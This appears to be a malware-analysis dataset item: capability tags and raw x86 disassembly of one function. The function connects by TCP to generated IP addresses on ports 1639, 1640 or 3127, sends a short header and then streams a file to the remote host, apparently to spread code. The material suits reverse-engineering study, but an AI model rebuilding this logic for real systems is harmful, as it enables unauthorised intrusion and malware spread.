Function at 0x406fd8
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffa88
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x578], ebx
mov dword [ebp - 0x568], ebx
mov dword [ebp - 0x56c], ebx
mov dword [ebp - 0x570], ebx
mov dword [ebp - 0x574], ebx
mov dword [ebp - 4], edx
mov esi, eax
mov eax, dword [ebp - 4]
call fcn.00404234
lea edi, [ebp - 8]
xor eax, eax
push ebp
push 0x4072cb
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0xde
call fcn.00402d58
inc eax
lea edx, [ebp - 0x568]
call fcn.00406dd8
push dword [ebp - 0x568]
push 0x4072e4
mov eax, 0xff
call fcn.00402d58
inc eax
lea edx, [ebp - 0x56c]
call fcn.00406dd8
push dword [ebp - 0x56c]
push 0x4072e4
mov eax, 0xff
call fcn.00402d58
inc eax
lea edx, [ebp - 0x570]
call fcn.00406dd8
push dword [ebp - 0x570]
push 0x4072e4
mov eax, 0xff
call fcn.00402d58
inc eax
lea edx, [ebp - 0x574]
call fcn.00406dd8
push dword [ebp - 0x574]
lea eax, [esi + 4]
mov edx, 7
call fcn.00404104
push 6
push 1
push 2
call sub.wsock32.dll_socket
mov ebx, eax
test ebx, ebx
jg 0x4070c6
mov eax, dword [0x40b190]
inc dword [eax]
test ebx, ebx
jle 0x4072a5
mov word [ebp - 0x164], 2
mov eax, dword [esi + 4]
call fcn.00404244
push eax
call sub.wsock32.dll_inet_addr
mov dword [ebp - 0x160], eax
push 0x667
call sub.wsock32.dll_htons
mov word [ebp - 0x162], ax
mov eax, dword [0x40b17c]
inc dword [eax]
push 0x10
lea eax, [ebp - 0x164]
push eax
push ebx
call sub.wsock32.dll_connect
test eax, eax
je 0x4071c4
mov eax, dword [0x40b190]
inc dword [eax]
mov word [ebp - 0x164], 2
mov eax, dword [esi + 4]
call fcn.00404244
push eax
call sub.wsock32.dll_inet_addr
mov dword [ebp - 0x160], eax
push 0x668
call sub.wsock32.dll_htons
mov word [ebp - 0x162], ax
mov eax, dword [0x40b17c]
inc dword [eax]
push 0x10
lea eax, [ebp - 0x164]
push eax
push ebx
call sub.wsock32.dll_connect
test eax, eax
je 0x4071c4
mov eax, dword [0x40b190]
inc dword [eax]
mov word [ebp - 0x164], 2
mov eax, dword [esi + 4]
call fcn.00404244
push eax
call sub.wsock32.dll_inet_addr
mov dword [ebp - 0x160], eax
push 0xc37
call sub.wsock32.dll_htons
mov word [ebp - 0x162], ax
mov eax, dword [0x40b17c]
inc dword [eax]
push 0x10
lea eax, [ebp - 0x164]
push eax
push ebx
call sub.wsock32.dll_connect
test eax, eax
je 0x4071c4
mov eax, dword [0x40b190]
inc dword [eax]
jmp 0x4072a5
push 0
push 5
push 0x40b11c
push ebx
call sub.wsock32.dll_send
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x154]
call fcn.00402ad0
mov eax, dword [0x40b188]
mov byte [eax], 0
mov edx, 1
lea eax, [ebp - 0x154]
call fcn.0040304c
call fcn.0040260c
push edi
lea edx, [ebp - 0x564]
mov ecx, 0x400
lea eax, [ebp - 0x154]
call fcn.00402c20
call fcn.0040260c
cmp dword [edi], 0
jle 0x40723d
push 0
mov eax, dword [edi]
push eax
lea eax, [ebp - 0x564]
push eax
push ebx
call sub.wsock32.dll_send
test eax, eax
jle 0x40723d
cmp dword [edi], 0x400
je 0x4071fe
push ebx
call sub.wsock32.dll_closesocket
lea eax, [ebp - 0x154]
call fcn.00402c40
call fcn.0040260c
mov eax, dword [0x40b160]
mov eax, dword [eax]
cmp dword [eax + 0x28], 0
jne 0x40729e
push 0x4072f0
mov eax, dword [0x40b160]
mov eax, dword [eax]
push dword [eax + 0x14]
push 0x407304
push dword [esi + 4]
push 0x407320
lea eax, [ebp - 0x578]
mov edx, 5
call fcn.00404104
mov edx, dword [ebp - 0x578]
mov eax, dword [0x40b160]
mov eax, dword [eax]
call fcn.004074e8
mov eax, dword [0x40b154]
inc dword [eax]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4072d2
lea eax, [ebp - 0x578]
mov edx, 5
call fcn.00403df0
lea eax, [ebp - 4]
call fcn.00403dcc
ret